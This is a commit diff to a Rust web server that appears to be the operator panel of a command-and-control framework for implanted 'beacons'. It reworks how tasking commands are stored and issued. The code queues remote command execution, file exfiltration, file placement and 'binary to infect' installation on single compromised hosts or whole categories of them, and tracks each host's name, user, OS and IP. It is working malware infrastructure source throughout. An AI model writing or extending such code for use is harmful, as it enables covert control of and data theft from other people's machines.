feat: reworked command processing and storage
This commit is contained in:
@@ -1,66 +1,17 @@
|
||||
use leptos::{either::Either, prelude::*};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use leptos::server_fn::codec::{MultipartData, MultipartFormData};
|
||||
use web_sys::FormData;
|
||||
use send_wrapper::SendWrapper;
|
||||
|
||||
#[cfg(feature = "ssr")]
|
||||
use {
|
||||
sparse_actions::version::Version,
|
||||
leptos::server_fn::error::NoCustomError,
|
||||
sqlx::{sqlite::SqliteRow, FromRow, Row},
|
||||
tokio::io::AsyncWriteExt,
|
||||
};
|
||||
|
||||
use crate::beacons::{BeaconResources, categories::Category};
|
||||
|
||||
#[derive(Clone, Serialize, Deserialize)]
|
||||
pub enum CommandBody {
|
||||
Update,
|
||||
Exec { command: String },
|
||||
Install { target_binary: String },
|
||||
Upload { target_file: String },
|
||||
Download { src_file: String, target_path: String },
|
||||
Chdir { target_dir: String },
|
||||
Ls
|
||||
}
|
||||
|
||||
#[cfg(feature = "ssr")]
|
||||
impl FromRow<'_, SqliteRow> for CommandBody {
|
||||
fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
|
||||
match row.try_get("cmd_type")? {
|
||||
"update" => Ok(Self::Update),
|
||||
"exec" => Ok(Self::Exec {
|
||||
command: row.try_get("exec_command")?
|
||||
}),
|
||||
"install" => Ok(Self::Install {
|
||||
target_binary: row.try_get("install_target")?
|
||||
}),
|
||||
"upload" => Ok(Self::Upload {
|
||||
target_file: row.try_get("upload_src")?
|
||||
}),
|
||||
"download" => Ok(Self::Download {
|
||||
src_file: row.try_get("download_src")?,
|
||||
target_path: row.try_get("download_path")?
|
||||
}),
|
||||
"chdir" => Ok(Self::Chdir {
|
||||
target_dir: row.try_get("chdir_target")?
|
||||
}),
|
||||
"ls" => Ok(Self::Ls),
|
||||
type_name => Err(sqlx::Error::TypeNotFound {
|
||||
type_name: type_name.to_string()
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg_attr(feature = "ssr", derive(FromRow))]
|
||||
#[derive(Clone, Serialize, Deserialize)]
|
||||
pub struct BeaconCommand {
|
||||
pub command_id: i64,
|
||||
#[cfg_attr(feature = "ssr", sqlx(flatten))]
|
||||
pub body: CommandBody
|
||||
}
|
||||
|
||||
#[server(
|
||||
prefix = "/api/commands",
|
||||
endpoint = "issue_command",
|
||||
@@ -75,138 +26,19 @@ pub async fn issue_command(
|
||||
));
|
||||
};
|
||||
|
||||
let mut fields = std::collections::HashMap::<String, String>::new();
|
||||
let mut download_src = None::<multer::Field>;
|
||||
let mut fields = serde_json::Map::new();
|
||||
let db = crate::db::get_db()?;
|
||||
|
||||
let mut data = data.into_inner().ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"No form data was provided".to_owned(),
|
||||
))?;
|
||||
while let Ok(Some(field)) = data.next_field().await {
|
||||
let name = field.name().unwrap_or_default().to_string();
|
||||
tracing::trace!("Found field {}", &name);
|
||||
if name != "download_src" {
|
||||
fields.insert(name.clone(), field.text().await.unwrap_or_default());
|
||||
} else {
|
||||
download_src = Some(field);
|
||||
}
|
||||
}
|
||||
while let Ok(Some(mut field)) = data.next_field().await {
|
||||
tracing::debug!("Processing field {:?}", field.name());
|
||||
let Some(name) = field.name().map(|f| f.to_string()) else { continue; };
|
||||
|
||||
enum Target {
|
||||
Beacon(String),
|
||||
Category(i64)
|
||||
}
|
||||
let file_name = field.file_name().map(str::to_string);
|
||||
|
||||
let Some(target_beacons) = fields
|
||||
.get("beacon_id")
|
||||
.map(Clone::clone)
|
||||
.map(Target::Beacon)
|
||||
.or(fields
|
||||
.get("category_id")
|
||||
.map(|id| id.parse::<i64>().ok())
|
||||
.flatten()
|
||||
.map(Target::Category)) else {
|
||||
return Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"A beacon command cannot be made without a target".to_owned(),
|
||||
));
|
||||
};
|
||||
|
||||
let db = crate::db::get_db()?;
|
||||
|
||||
let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() {
|
||||
Some("update") => {
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type) VALUES ('update')"
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("ls") => {
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type) VALUES ('ls')"
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("chdir") => {
|
||||
let chdir_target = fields
|
||||
.get("chdir_target")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Directory target cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)",
|
||||
chdir_target
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("exec") => {
|
||||
let exec_command = fields
|
||||
.get("exec_command")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Command cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)",
|
||||
exec_command
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("install") => {
|
||||
let install_target = fields
|
||||
.get("install_target")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Install target cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)",
|
||||
install_target
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("upload") => {
|
||||
let upload_src = fields
|
||||
.get("upload_src")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Upload file request path cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)",
|
||||
upload_src
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("download") => {
|
||||
let download_path = fields
|
||||
.get("download_path")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Upload file request path cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
let mut download_src = download_src
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"File to upload cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
let file_name = download_src.file_name().unwrap_or_default().to_string();
|
||||
if let Some(file_name) = file_name {
|
||||
let file_id = uuid::Uuid::new_v4();
|
||||
|
||||
let mut target_file_path = expect_context::<std::path::PathBuf>();
|
||||
@@ -220,7 +52,7 @@ pub async fn issue_command(
|
||||
.open(target_file_path)
|
||||
.await?;
|
||||
|
||||
while let Ok(Some(chunk)) = download_src.chunk().await {
|
||||
while let Ok(Some(chunk)) = field.chunk().await {
|
||||
target_file.write(&chunk).await?;
|
||||
}
|
||||
|
||||
@@ -232,24 +64,83 @@ pub async fn issue_command(
|
||||
.execute(&db)
|
||||
.await?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)",
|
||||
file_id,
|
||||
download_path
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
fields.insert(name, serde_json::to_value(sparse_actions::actions::FileId(file_id))?);
|
||||
} else {
|
||||
let Ok(value) = field.text().await else { continue; };
|
||||
let json = match serde_json::from_str(&value) {
|
||||
Ok(v) => v,
|
||||
Err(_) => serde_json::Value::String(value.clone())
|
||||
};
|
||||
fields.insert(name, json);
|
||||
}
|
||||
_ => Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Unknown command type".to_owned(),
|
||||
))
|
||||
}?;
|
||||
}
|
||||
|
||||
enum Target {
|
||||
Beacon(String),
|
||||
Category(i64)
|
||||
}
|
||||
|
||||
tracing::debug!("Parameters provided: {:?}", serde_json::to_string(&fields));
|
||||
|
||||
let Some(target_beacons) = fields
|
||||
.get("target_beacon_id")
|
||||
.and_then(serde_json::Value::as_str)
|
||||
.map(str::to_string)
|
||||
.map(Target::Beacon)
|
||||
.or(fields
|
||||
.get("target_category_id")
|
||||
.and_then(serde_json::Value::as_i64)
|
||||
.map(Target::Category)) else {
|
||||
return Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"A beacon command cannot be made without a target".to_owned(),
|
||||
));
|
||||
};
|
||||
|
||||
fields.remove("target_beacon_id");
|
||||
fields.remove("target_category_id");
|
||||
|
||||
let Some(command_builder) = sparse_actions::actions::ACTION_BUILDERS
|
||||
.iter()
|
||||
.find(|builder| Some(builder.name()) == fields.get("cmd_type").and_then(serde_json::Value::as_str)) else {
|
||||
return Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"No command type provided".to_owned(),
|
||||
));
|
||||
};
|
||||
|
||||
let fields = serde_json::Value::Object(fields);
|
||||
|
||||
command_builder.verify_json_body(fields.clone())?;
|
||||
serde_json::from_value::<sparse_actions::actions::Actions>(fields.clone())?;
|
||||
|
||||
let serialized_fields = serde_json::to_string(&fields)?;
|
||||
|
||||
let command_id = sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_parameters) VALUES (?)",
|
||||
serialized_fields
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid();
|
||||
|
||||
let now = chrono::Utc::now();
|
||||
|
||||
match target_beacons {
|
||||
Target::Beacon(bid) => {
|
||||
let beacon_instance = sqlx::query!(
|
||||
r#"SELECT version as "version: Version" FROM beacon_instance WHERE beacon_id = ?"#,
|
||||
bid
|
||||
)
|
||||
.fetch_one(&db)
|
||||
.await?;
|
||||
|
||||
if beacon_instance.version < command_builder.required_version() {
|
||||
return Err(ServerFnError::<NoCustomError>::ServerError(format!(
|
||||
"Beacon does not meet the minimum required version to run that command ({} vs {})",
|
||||
beacon_instance.version,
|
||||
command_builder.required_version()
|
||||
)));
|
||||
}
|
||||
|
||||
sqlx::query!(
|
||||
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
|
||||
VALUES (?, ?, ?, ?)",
|
||||
@@ -262,16 +153,20 @@ pub async fn issue_command(
|
||||
.await?;
|
||||
}
|
||||
Target::Category(cid) => {
|
||||
let version = command_builder.required_version();
|
||||
|
||||
sqlx::query!(
|
||||
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
|
||||
SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc
|
||||
INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id
|
||||
INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id
|
||||
WHERE bc.category_id = ?",
|
||||
WHERE bc.category_id = ?
|
||||
AND bi.version >= ?",
|
||||
command_id,
|
||||
now,
|
||||
user.user_id,
|
||||
cid
|
||||
cid,
|
||||
version
|
||||
)
|
||||
.execute(&db)
|
||||
.await?;
|
||||
@@ -290,6 +185,8 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
|
||||
}
|
||||
});
|
||||
|
||||
let (current_cmd, set_current_cmd) = signal("Exec".to_owned());
|
||||
|
||||
view! {
|
||||
{(categories.is_empty() && beacon_id.is_none())
|
||||
.then(|| view! {
|
||||
@@ -318,14 +215,14 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
|
||||
<legend>"Issue new command"</legend>
|
||||
{if let Some(bid) = beacon_id.clone() {
|
||||
Either::Left(view! {
|
||||
<input name="beacon_id" type="hidden" value=bid />
|
||||
<input name="target_beacon_id" type="hidden" value=bid />
|
||||
})
|
||||
} else {
|
||||
Either::Right(view! {
|
||||
<label>
|
||||
"Select a category to command"
|
||||
</label>
|
||||
<select name="category_id">
|
||||
<select name="target_category_id">
|
||||
{categories
|
||||
.iter()
|
||||
.map(|cat| view! {
|
||||
@@ -338,27 +235,34 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
|
||||
})
|
||||
}}
|
||||
<label>"Type of command"</label>
|
||||
<select name="cmd_type">
|
||||
<option value="exec">"Execute command"</option>
|
||||
<option value="upload">"Upload/exfil file"</option>
|
||||
<option value="download">"Download/place file"</option>
|
||||
<option value="update">"Update beacon"</option>
|
||||
<option value="chdir">"Change directory"</option>
|
||||
<option value="ls">"List files"</option>
|
||||
<option value="install">"Install to a new binary"</option>
|
||||
<select
|
||||
name="cmd_type"
|
||||
on:change:target=move |ev| {
|
||||
set_current_cmd(ev.target().value().to_string())
|
||||
}
|
||||
prop:value=move || current_cmd.get()
|
||||
>
|
||||
{sparse_actions::actions::ACTION_BUILDERS
|
||||
.iter()
|
||||
.map(|b| view! {
|
||||
<option value=b.name()>{b.name()}</option>
|
||||
})
|
||||
.collect_view()}
|
||||
</select>
|
||||
<label class="cmd-exec">"Command"</label>
|
||||
<input class="cmd-exec" name="exec_command" />
|
||||
<label class="cmd-upload">"File to upload/exfil"</label>
|
||||
<input class="cmd-upload" name="upload_src" />
|
||||
<label class="cmd-chdir">"Directory to change to"</label>
|
||||
<input class="cmd-chdir" name="chdir_target" />
|
||||
<label class="cmd-install">"Binary to infect"</label>
|
||||
<input class="cmd-install" name="install_target" />
|
||||
<label class="cmd-download">"Target location for file"</label>
|
||||
<input class="cmd-download" name="download_path"/>
|
||||
<label class="cmd-download">"File to download/place"</label>
|
||||
<input class="cmd-download" name="download_src" type="file" />
|
||||
{move || sparse_actions::actions::ACTION_BUILDERS
|
||||
.iter()
|
||||
.find(|b| b.name() == *current_cmd.read())
|
||||
.map(|b| b
|
||||
.form_elements()
|
||||
.iter()
|
||||
.map(|(label, name, itype)| view! {
|
||||
<label>{label.to_string()}</label>
|
||||
<input
|
||||
name=name.to_string()
|
||||
type=itype.unwrap_or("text").to_string()
|
||||
/>
|
||||
})
|
||||
.collect_view())}
|
||||
<div></div>
|
||||
<input type="submit" value="Submit" disabled=move ||command_action.pending().get()/>
|
||||
</fieldset>
|
||||
|
||||
@@ -52,6 +52,7 @@ pub struct CurrentBeaconInstance {
|
||||
pub operating_system: String,
|
||||
pub userent: String,
|
||||
pub hostname: String,
|
||||
pub version: sparse_actions::version::Version,
|
||||
pub last_checkin: chrono::DateTime<chrono::Utc>,
|
||||
pub config_id: Option<i64>,
|
||||
pub template_id: i64,
|
||||
@@ -588,6 +589,9 @@ pub fn BeaconSidebar() -> impl IntoView {
|
||||
<div class="beacon-instance-os">
|
||||
<span>"OS: "</span> {beacon.operating_system.clone()}
|
||||
</div>
|
||||
<div class="beacon-instance-vers">
|
||||
<span>"Version: "</span> {beacon.version.to_string()}
|
||||
</div>
|
||||
{(sort_method.get() != Some(SortMethod::Category))
|
||||
.then(|| -> Vec<String> {
|
||||
let BeaconResources {
|
||||
|
||||
@@ -13,6 +13,7 @@ use serde::Deserialize;
|
||||
use sqlx::sqlite::SqlitePool;
|
||||
use tokio::signal;
|
||||
|
||||
use sparse_actions::version::Version;
|
||||
use sparse_server::app::*;
|
||||
|
||||
#[cfg(not(debug_assertions))]
|
||||
@@ -362,7 +363,8 @@ async fn handle_listener_events(
|
||||
|
||||
{
|
||||
let beacons = sqlx::query!(
|
||||
"SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance"
|
||||
r#"SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system,
|
||||
beacon_userent, hostname, config_id, version as "version: Version" FROM beacon_instance"#
|
||||
)
|
||||
.fetch_all(&state.db)
|
||||
.await?;
|
||||
@@ -407,6 +409,7 @@ async fn handle_listener_events(
|
||||
userent: b.beacon_userent,
|
||||
hostname: b.hostname,
|
||||
config_id: b.config_id,
|
||||
version: b.version,
|
||||
last_checkin: last_checkin
|
||||
.iter()
|
||||
.find(|ch| ch.beacon_id == b.beacon_id)
|
||||
@@ -440,8 +443,8 @@ async fn handle_listener_events(
|
||||
}
|
||||
Ok(BeaconEvent::NewBeacon(bid)) => {
|
||||
let beacon = sqlx::query!(
|
||||
"SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance
|
||||
WHERE beacon_id = ?",
|
||||
r#"SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id, version as "version: Version" FROM beacon_instance
|
||||
WHERE beacon_id = ?"#,
|
||||
bid
|
||||
)
|
||||
.fetch_one(&state.db)
|
||||
@@ -465,6 +468,7 @@ async fn handle_listener_events(
|
||||
userent: beacon.beacon_userent,
|
||||
hostname: beacon.hostname,
|
||||
config_id: beacon.config_id,
|
||||
version: beacon.version,
|
||||
last_checkin: chrono::Utc::now(),
|
||||
category_ids: category_ids.iter().map(|r| r.category_id).collect()
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user